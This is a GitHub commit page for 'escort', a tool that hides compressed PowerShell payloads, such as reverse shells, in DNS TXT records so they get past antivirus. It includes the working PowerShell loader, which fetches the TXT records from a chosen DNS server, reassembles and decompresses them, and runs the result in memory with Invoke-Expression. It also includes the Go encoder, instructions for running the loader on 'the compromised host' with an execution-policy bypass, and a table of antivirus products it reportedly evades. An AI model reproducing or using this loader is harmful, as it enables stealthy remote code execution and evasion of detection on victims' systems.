Skip to content

Commit

Permalink
Merge pull request #3 from bonedaddy/smart-base
Browse files Browse the repository at this point in the history
Enable Handling Out Of Ordered Responses
  • Loading branch information
bonedaddy authored Feb 2, 2021
2 parents a751e12 + cf1babb commit a5627ac
Show file tree
Hide file tree
Showing 3 changed files with 27 additions and 15 deletions.
19 changes: 11 additions & 8 deletions README.md
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@

![](./escort.jpg)

`escort` is an experiment at using DNS TXT records for transmitting malicious payloads to bypass Anti Virus detection. It currently only supports PowerShell payloads (ie reverse shells with powershell) however ideally I will expand this to other potential payload systems. It consists of taking your payload, compressing with DEFLATE and base64 encoding it. If the resultant payload is larger than 255 characters (the maximum limit for DNS TXT records) the payload is broken up into 255 character (or less) segments. When the PowerShell script is ran it will reconstruct the base64 encoded payload, decompress it, and then execute it with the `Invoke-Expression` cmdlet to avoid writing the script to disk.
`escort` is an experiment at using DNS TXT records for transmitting malicious payloads to bypass Anti Virus detection. It currently only supports PowerShell payloads (ie reverse shells with powershell) however ideally I will expand this to other potential payload systems. It consists of taking your payload, compressing with DEFLATE and base64 encoding it. Because not all DNS servers are equal, some servers may return DNS record values not in the order they are declared in. For example CoreDNS using the BIND zone file format will serve results in the order they are declared in, but AWS Route53 may or may not do this. As such we mark the beginning of the base64 encoded with a segment identifier. We use the `|` character which is not a valid base64 encoded character to mark the end of the segment identifier and the beginning of the base64 encoded segment. Escort uses this information to recombine the bsae64 segments before decoding them. After decoding we decompress the output and execute it with `Invoke-Expression` cmdlet to avoid writing the script to disk

# Usage

Expand All @@ -13,10 +13,9 @@ $> git clone https://github.com/bonedaddy/escort
$> cd escort
$> go build
$> ./escort --input.file payload.txt compress
TJFda/JAEIXv318xF3mbXUyWJH5QDRHa0BahqDRCL8SLmAxma4xiRjSo/71svurVDsOZc56Z1aJUYkbgwRTP5mz9gxFBUOSEOzFFEsE+2iLlYuHP/VLJdHvoCHvwLGx7KBzb0Y1er8tdLacjhjvwoLYUH0hB2WPcXa4LwuVqpak3Bw8sIQb9frd/+3+17u45kSkypknwah/xhWHMKrkBlgFVKT4x21DCOZgZgsWvrhaHFIIH7IHfXBQHnIY7bDZ # part 1
Z4IXES+BPJm9ZtI9ltuE1nsw2TYoKkWoRzOJ1GG2VqcQLVAnO+MmGG8xOZFZj8CB11NrtXAf0eQA6dIAdzjEX85AS1RyDXo8UhMp9SYoLa6TVaFQilmivCon9BbQHFt9HSchaH8My2rq5Tqt9T095wvjdbf7ET/c5Mv7vNwAA//8= # part 2
0|TJFda/JAEIXv318xF3mbXUyWJH5QDRHa0BahqDRCL8SLmAxma4xiRjSo/71svurVDsOZc56Z1aJUYkbgwRTP5mz9gxFBUOSEOzFFEsE+2iLlYuHP/VLJdHvoCHvwLGx7KBzb0Y1er8tdLacjhjvwoLYUH0hB2WPcXa4LwuVqpak3Bw8sIQb9frd/+3+17u45kSkypknwah/xhWHMKrkBlgFVKT4x21DCOZgZgsWvrhaHFIIH7IHfXBQHnI
1|Y7bDZZ4IXES+BPJm9ZtI9ltuE1nsw2TYoKkWoRzOJ1GG2VqcQLVAnO+MmGG8xOZFZj8CB11NrtXAf0eQA6dIAdzjEX85AS1RyDXo8UhMp9SYoLa6TVaFQilmivCon9BbQHFt9HSchaH8My2rq5Tqt9T095wvjdbf7ET/c5Mv7vNwAA//8
```

You then want to add these values to your DNS host in order. For example in BIND zone files you would add this as follows:

```bind
Expand All @@ -32,8 +31,8 @@ $ORIGIN example.org.
3600 IN NS a.iana-servers.net.
3600 IN NS b.iana-servers.net.
test4 IN TXT "TJFda/JAEIXv318xF3mbXUyWJH5QDRHa0BahqDRCL8SLmAxma4xiRjSo/71svurVDsOZc56Z1aJUYkbgwRTP5mz9gxFBUOSEOzFFEsE+2iLlYuHP/VLJdHvoCHvwLGx7KBzb0Y1er8tdLacjhjvwoLYUH0hB2WPcXa4LwuVqpak3Bw8sIQb9frd/+3+17u45kSkypknwah/xhWHMKrkBlgFVKT4x21DCOZgZgsWvrhaHFIIH7IHfXBQHnIY7bDZ"
test4 IN TXT "Z4IXES+BPJm9ZtI9ltuE1nsw2TYoKkWoRzOJ1GG2VqcQLVAnO+MmGG8xOZFZj8CB11NrtXAf0eQA6dIAdzjEX85AS1RyDXo8UhMp9SYoLa6TVaFQilmivCon9BbQHFt9HSchaH8My2rq5Tqt9T095wvjdbf7ET/c5Mv7vNwAA//8="
test4 IN TXT "0|TJFda/JAEIXv318xF3mbXUyWJH5QDRHa0BahqDRCL8SLmAxma4xiRjSo/71svurVDsOZc56Z1aJUYkbgwRTP5mz9gxFBUOSEOzFFEsE+2iLlYuHP/VLJdHvoCHvwLGx7KBzb0Y1er8tdLacjhjvwoLYUH0hB2WPcXa4LwuVqpak3Bw8sIQb9frd/+3+17u45kSkypknwah/xhWHMKrkBlgFVKT4x21DCOZgZgsWvrhaHFIIH7IHfXBQHnI
test4 IN TXT "1|Y7bDZZ4IXES+BPJm9ZtI9ltuE1nsw2TYoKkWoRzOJ1GG2VqcQLVAnO+MmGG8xOZFZj8CB11NrtXAf0eQA6dIAdzjEX85AS1RyDXo8UhMp9SYoLa6TVaFQilmivCon9BbQHFt9HSchaH8My2rq5Tqt9T095wvjdbf7ET/c5Mv7vNwAA//8"
```

On the compromised host you would run `escort.ps1` using one of the following:
Expand All @@ -45,12 +44,16 @@ $> powershell.exe -ExecutionPolicy Bypass -NoLogo -NonInteractive -NoProfile -Wi

This will query the host `test4.example.org` for TXT records and use that to construct the payload.


# Caveats

* Due to the usage of DEFLATE the powershell script you are compressing and base64 encoding must be a minimum of 45 characters in length, otherwise you should skip the deflate process as this will just increase the size of your payload, however this will require modifying `escort.ps1` as it expects a base64 encoded DEFLATE compressed payload.
* I haven't actually tested if this evades antivirus detection yet, but that will be done shortly.
* This may not evade all antiviruses, known AV solutions I have tested against are listed below


| AV Name | Successfully Bypasses |
|---------|-----------------------|
| Avira Free | Yes |
| MalwareBytes Free | Yes |
# Notes

Brotli offers the best compression of data, however it doesn't appear to be widely supported on Windows unless .NET version >=4.5 is installed so it is temporarily not being used.
17 changes: 13 additions & 4 deletions escort.ps1
Original file line number Diff line number Diff line change
Expand Up @@ -7,12 +7,20 @@ param (
)

$dns_result = Resolve-DnsName -Name $host_name -Type TXT -Server $dns_server | Select-Object Strings
$base64_output = ''
$deconstructed_query = ''
$ordered_parts = New-Object string[] $dns_result.Strings.length

# reconstruct the output
# order the base64 encoded segments correctly
for ($i=0; $i -lt $dns_result.Strings.length; $i++) {
$base64_output += $dns_result.Strings[$i]
# make sure the string is not empty
if (![string]::IsNullOrEmpty($dns_result.Strings[$i])) {
# split the result using the first part as the array index and the second part as the value
$ordered_parts[$dns_result.Strings[$i].split("|")[0]] = $dns_result.Strings[$i].split("|")[1]
}
}

$base64_output = ''
for ($i=0; $i -lt $ordered_parts.length; $i++) {
$base64_output += $ordered_parts[$i]
}

# uncomment to debug
Expand All @@ -23,6 +31,7 @@ $ms = New-Object System.IO.MemoryStream
$ms.Write($data, 0, $data.Length)
$ms.Seek(0,0) | Out-Null
$sr = New-Object System.IO.StreamReader(New-Object System.IO.Compression.DeflateStream($ms, [System.IO.Compression.CompressionMode]::Decompress))
$deconstructed_query = ''
while ($line = $sr.ReadLine()) {
$deconstructed_query += $line
}
Expand Down
6 changes: 3 additions & 3 deletions main.go
Original file line number Diff line number Diff line change
Expand Up @@ -44,9 +44,9 @@ func main() {
if err := writer.Close(); err != nil {
return err
}
parts := Chunks(base64.StdEncoding.EncodeToString(buffer.Bytes()), 255)
for _, part := range parts {
fmt.Println(part)
parts := Chunks(base64.StdEncoding.EncodeToString(buffer.Bytes()), 250)
for i, part := range parts {
fmt.Printf("%v|%s\n", i, part)
}
return nil
},
Expand Down

0 comments on commit a5627ac

Please sign in to comment.